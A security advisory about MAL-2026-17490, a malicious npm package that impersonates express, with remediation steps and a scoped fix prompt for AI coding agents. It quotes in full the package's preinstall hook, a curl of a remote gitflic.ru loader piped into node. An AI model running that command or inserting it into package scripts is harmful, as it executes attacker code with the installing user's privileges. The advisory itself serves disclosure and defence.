# MAL-2026-17490: Malicious code in express-fork (npm)


- **Type:** Malicious package
- **Package:** `express-fork` (npm)
- **Published:** 3 Oct 2026

## What is MAL-2026-17490?

MAL-2026-17490 is a malicious package in express-fork, published on 3 Oct 2026. 

### Official description

express-fork@5.2.2 impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-fork and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

express-fork@5.2.2 is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/...?file=node.js | node`. On every `npm install`, the hook fetches an unpinned JavaScript file from a third-party gitflic.ru account unrelated to the Express publisher (via a web.archive.org wrapper) and pipes it directly to the Node interpreter, with no integrity or signature check. The fetched content executes with the privileges of the installing user and can perform arbitrary actions on the installer's machine, including credential theft, persistence, or further payload delivery. The impersonation of express is the lure that causes typo-based installs to trigger the remote-exec hook.

## What should I do about MAL-2026-17490?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17490 is a malicious package: express-fork (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17490/ (Markdown: https://insights.sbomify.com/MAL-2026-17490/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17490

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17490/
Summaries are generated and may contain mistakes; the official description above is the record.